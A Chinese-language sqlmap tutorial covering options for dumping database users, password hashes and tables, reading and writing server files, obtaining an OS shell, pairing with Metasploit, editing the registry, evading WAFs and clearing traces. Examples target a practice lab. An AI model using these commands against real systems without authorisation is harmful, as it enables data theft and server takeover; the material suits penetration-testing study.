数据库沦陷及权限获取
- sqlmap检索DBMS信息
- sqlmap枚举DBMS信息
- Sqlmap暴力破解数据
- sqlmap读写文件
- sqlmap系统参数
- sqlmap通用参数
- Sqlmap加载sqlite会话文件
- Sqlmap加载http文本文件
- Sqlmap设置默认选择选项
- Sqlmap设置盲注字符集
- Sqlmap爬取URL
- Sqlmap在CSV输出中使用的分隔字符
- Sqlmap设置输出格式
- Sqlmap探测之前检测Internet连接
- Sqlmap解析和测试表单的输入字段
- Sqlmap设置预计完成时间
- Sqlmap刷新会话文件
- Sqlmap忽略会话中存储的结果
- Sqlmap使用Hex函数检索数据
- Sqlmap设置自定义输出路径
- Sqlmap从响应页面解析错误
- Sqlmap强制设置DBMS编码
- Sqlmap存储HTTP流量到HAR
- Sqlmap筛选具体Payload
- Sqlmap过滤具体Payload
- sqlmap杂项参数
sqlmap检索DBMS信息
--fingerprint -f 探测目标指纹信息。
--banner -b 获取后端数据库banner信息
--current-user 获取DBMS当前用户
--users 获取DBMS所有允许远程登录或本地登陆数据库的用户名
--password 获取用户密码
--current-db 获取当前数据库名。
--hostname 获取当前主机名
--is-dba 探测当前用户是否是数据库管理员
--privileges 查看DBMS对应的角色跟权限,
--role 查看DBMS对应的角色跟权限,
例如:
sqlmap -u "url" --users --passwrod --privileges --thread 10
登录数据库
sqlmap枚举DBMS信息
--dbs 枚举数据库名称--> 指定具体数据库 -D 数据库名
--tables 枚举表名 --> 指定具体数据表 -T 数据库名
--columns 枚举列名(字段名 指定具体字段 -C 具体字段名
--dump 枚举数据值
-a --all 返回所有信息,包括当前数据库,当前用户,表名字段名等。
--count 枚举数据表(也可以是数据库)的数量,如-D tastdb --count
Sqlmap获取数据信息(鸡肋功能)
--start, --stop, --first, --last
--start 1 --stop 3 获取第二张到第三张表的名字
--stop 1 获取第一张表的名字
--first 3 --last 5 获取从第三出发到第五个字符
Sqlmap获取数据信息
--pivot-column=id 设置独一无二的列,一般往数据库中插入一条数据的时候可能会用到,一般很少用到
--where=“id>3” 设置条件,这个比较好用
例如:
sqlmap -u url -D testdb -T testtable -C “user,pass” –dump –where=”id>2”
--schema 枚举schema信息。模式列表将包含所有数据库、表和列,以及它们各自的类型。与--exclude-sysdb结合使用时,只会检索和显示包含非系统数据库的模式的一部分。
--exclude-sysdbs 排除系统数据库中的相关信息,如information_schema中的表名
例如:没有排除之前
排除之后,就不会再有系统数据库下面表的内容
Sqlmap暴力破解数据
使用场景:Mysql<5.0时,Mysql中没有元数据库 ,sqlmap是根据元数据库information_schema进行查询的。
--common-tables
--common-columns
暴力破解时,可以使用默认的字典1,也可以指定字典2,-v 3查看具体payload
例如:
sqlmap读写文件
读取文件
--file-read 路径 读取对应文件内容,注意:此处路径为绝对路径。
读取成功后,会将文件内容保存到指定位置,可以查看,例如:
sqlmap -u “Less-1/index.php?id=1” --file-read="e:\zhu.txt"
写入文件
--file-write 读取本地文件
--file-dest 将读取到的文件写入到远程绝对路径
例如:
sqlmap -u “hLess-1/index.php?id=1” --file-write="/root/桌面/mail.txt" --file-dest="e:\mail.txt"
sqlmap系统参数
Sqlmap执行系统命令
--os-shell
--os-cmd=”command” ,如ipconfig
跟—os-shell原理类似,都是上传一个命令执行的文件,也需要输入路径,只不过只执行一条命令
首先,要具有权限root,其次还要知道网站路径,最后还需关闭GPC(magic_quote)模块。原理是上传能够进行命令执行的PHP文件。
例如:由于本机是采用phpstudy,所以采用默认的路径没有返回shell,因此选择第二种直接输入或者第三种定义字典文件,此处选择第二种,手动输入,执行完成之后可以看到指定的路径下多了一个PHP文件,用来执行cmd命令的。
Sqlmap结合Metasploit
--os-pwn MySQL and PostgreSQL
例如:
sqlmap -u "注入点" --os-pwn
虽然没有成功返回shell,但是上传了一个文件
这个时候就可以上传文件,也可以是exe文件,在os-shell中执行,然后在metasploit中也可以监听,获取更大的权限及更多的执行操作。
Sqlmap注册表操作
注册表(Registry,繁体中文版Windows操作系统称之为登录档)是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Microsoft Windows 95操作系统开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。 win+r + regedit 打开
--reg-read
--reg-add
--reg-del
先指定上述具体操作方法,然后指定具体操作位置及操作内容
--reg-key
--reg-value
--reg-data
--reg-type
例如:
sqlmap -u url --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
sqlmap通用参数
Sqlmap加载sqlite会话文件
-s 加载缓存的会话文件
--flush-session 重新检测,并刷新缓存的结果。
sqlmap自动为每个目标创建持久会话SQLite文件,位于专用输出目录中(/root/.local/share/sqlmap/output/),其中存储会话恢复所需的所有数据。如果用户想显式地设置会话文件位置(例如在一个位置为多个目标存储会话数据),可以使用此选项。如果不想直接使用之前保存的信息,也可以不必每次都把缓存删除,可以刷新session。
Sqlmap加载http文本文件
-o 加载http文本文件
例如:
sqlmap -u url -t /root/桌面/test.txt -o
将所有的流量写入到test.txt文件中,更方便进行深入的分析。
这个选项需要指定文本文件的参数来写入sqlmap - HTTP(s)请求和HTTP(s)响应生成的所有HTTP(s)流量。这主要用于调试目的,当您向开发人员提供一个潜在的bug报告时,可以发送这个文件。
Sqlmap设置默认选择选项
--batch
如果希望sqlmap作为批处理工具运行,在sqlmap需要时不需要任何用户交互,那么可以使用这个选项来强制执行。这将使sqlmap在需要用户输入时保持默认行为。
Sqlmap设置盲注字符集
--charset=“string”
在基于布尔和基于时间的SQL盲注中,用户可以强制使用自定义字符集来加速数据检索过程。例如,如果转储消息摘要值(例如SHA1),则使用如–charset=“0123456789abcdef”,预期请求数量比正常运行少30%左右。例如:猜解数据库字段内容时,可以很短检测出结果。
Sqlmap爬取URL
--crawl=num 后面数值表示深度,相当于文件夹,子文件夹
--crawl-exclude 字符串 存在字符串的URL不进行爬取。
例如:
python sqlmap.py -u url --batch --crawl=3
sqlmap可以通过从目标位置开始收集链接(爬行)来收集潜在的脆弱链接。使用此选项,用户可以设置一个深度(到起始位置的距离),低于这个深度,sqlmap不会进入收集阶段,因为只要有新的链接要访问,就会递归地执行这个过程。
Sqlmap在CSV输出中使用的分隔字符
--csv-del="分隔符"
当被转储的数据存储到CSV格式(–dump-format=CSV)时,条目必须用“分离值”分隔(默认值是,)。如果用户想要覆盖它的默认值,他可以使用这个选项(例如–csv-del="@")。
Sqlmap设置输出格式
当将转储表数据存储到输出目录中的相应文件中时,sqlmap支持三种不同的格式:CSV、HTML和SQLITE。默认的是CSV,其中每个表行一行一行地存储在文本文件中,每个条目用逗号分隔(或提供了选项–csv-del)。对于HTML,输出被存储到一个HTML文件中,其中每一行都用格式化表中的一行表示。对于SQLITE,输出存储在SQLITE数据库中,原始表内容复制到同名的相应表中。
--dump-format=”CSV” 默认
--dump-format=”HTML”
--dump-format=”SQLITE”
Sqlmap探测之前检测Internet连接
在进行评估目标之前,检测当前计算机Internet连接是否正常。确保探测失败不是因为网路拦截问题。连接不成功的情况下sqlmap是不会进行SQL注入检测的。
--check-internet
Sqlmap解析和测试表单的输入字段
--form
以less-11post注入为例
Sqlmap设置预计完成时间
--eta 显示进度条
可以实时地计算和显示估计的到达时间,以检索每个查询输出。当用于检索输出的技术是任何盲SQL注入类型时,就会显示这一点。
Sqlmap刷新会话文件
--flush-session
由于会话文件的概念,所以最好知道您可以使用选项刷新该文件的内容。通过这种方式,您可以避免sqlmap中默认实现的缓存机制。当然也可以选择手动删除会话文件的方法。
Sqlmap忽略会话中存储的结果
--fresh-queries
使用该选项来忽略该文件的内容。通过这种方式,可以保持会话文件不变,对于所选的运行,避免恢复/恢复查询输出。
Sqlmap使用Hex函数检索数据
--hex
例如:
python sqlmap.py -u URL --hex -v 3 --batch
非ascii数据的检索需要特殊的需求。解决这个问题的一个方法是使用DBMS hex函数。数据在被检索之前被编码为十六进制形式,然后被未编码为原始形式。
Sqlmap设置自定义输出路径
--output-dir=path
例如:
--output-dir=”/root/桌面/test.txt”
sqlmap默认将会话和结果文件存储在子目录输出中。如果您想使用不同的位置,可以使用这个选项。
Sqlmap从响应页面解析错误
--parse-error 从响应页面解析错误
--save 保存Sqlmap配置文件
如果web应用程序配置为调试模式,以便在HTTP响应中显示后端数据库管理系统错误消息,sqlmap可以解析并显示它们。这对于调试很有用,比如理解为什么某个枚举或接管开关不起作用——这可能与会话用户的特权有关。
可以将命令行选项保存到配置INI文件中。然后,可以使用之前解释的-c选项编辑生成的文件并将其传递给sqlmap。
Sqlmap强制设置DBMS编码
--encoding=”gbk”
Sqlmap存储HTTP流量到HAR
--har=”HAR文件名称”
HAR(HTTP Archive),是一个用来储存HTTP请求/响应信息的通用文件格式,基于JSON。输出har文件直接到当前路径以便后续操作,如调用文件中的json对象。
Sqlmap筛选具体Payload
--test-filter=”union” 筛选所有带有union的payload
Sqlmap过滤具体Payload
--test-skip=”BENCHMARK” 过滤掉,也就是不使用该payload进行探测
针对proxy日志文件使用正则表达式筛选目标
--scope=”正则表达式” 从日志文件中筛选具体目标
例如:sqlmap -l log.txt –scope=”192.168.4.10”
sqlmap杂项参数
-z 缩写助记符,提供灵活的缩写助记符来进行快速书写命令,例如:
ban/bat/flu/tec=EU => banner/batch/flush-session/technique=EU
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u url
使用助记符:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u url
设置探测预警,
--alert=“dir” 在发现SQL注入漏洞时,运行当前主机系统命令。
--beep 在发现SQL注入漏洞时,发出BB声音,这在需要测试的大量目标url时特别有用。
--clearup 在进行sqlmap注入时,如果注入成功,就会在DBMS中创建一个udf表,为避免留下痕迹可以使用该命令清除表。
--dependencies查看依赖项,sqlmap测试的时候需要一些依赖项,如python中的一些内容,因此可以查看所需的依赖项,从而进行对应的安装
--disable-coloring 关闭高亮显示
--identify-waf 查看是否具有WAF保护
--mobile 使用手机端User-Agent。
当然也可以手动设置User-Agent值,但是这个更方便
--offline 仅使用session文件,不进行互联网探测
--purge-output 清除output目录下的文件
--skip-waf 绕过WAF
--sqlmap-shell 使用sqlmap shell,进入之后不用再输入sqlmap,直接-u
--tmp-dir=TMPDIR 指定本地目录用来存储临时文件
--web-root=WEBROOT 指定站点根目录。
如—os-shell中间需要指定站点根目录,如果直接加上参数,中间就不会再询问
--wizard 使用向导式sqlmap
--answer=ANSWER设置问题答案,如302跳转设置时等。
如果用户想自动设置问题的答案,可以使用--batch,也可以使用--answers,通过在等号后面提供问题的任何部分和答案来完成。另外,不同问题的答案可以用分隔符分隔。
sqlmap-u url--technique=E --answers="extending=N" –batch
--gpage=GOOLEPAGE设置Goole Dork的页码数。
使用Goole Dork进行探测时,可以直接跳转到具体页。
--smart智能探测
有些情况下,用户有大量的潜在目标(例如,提供了选项-m),希望尽快找到一个脆弱的目标。如果使用—smart,那么将在扫描中进一步使用数据库管理系统错误的参数,否则就跳过它们。
例如:
--alert=“dir”
例如:
--mobile
例如:
-v 5可以显示具体的请求及响应数据包
–wizard 使用向导式sqlmap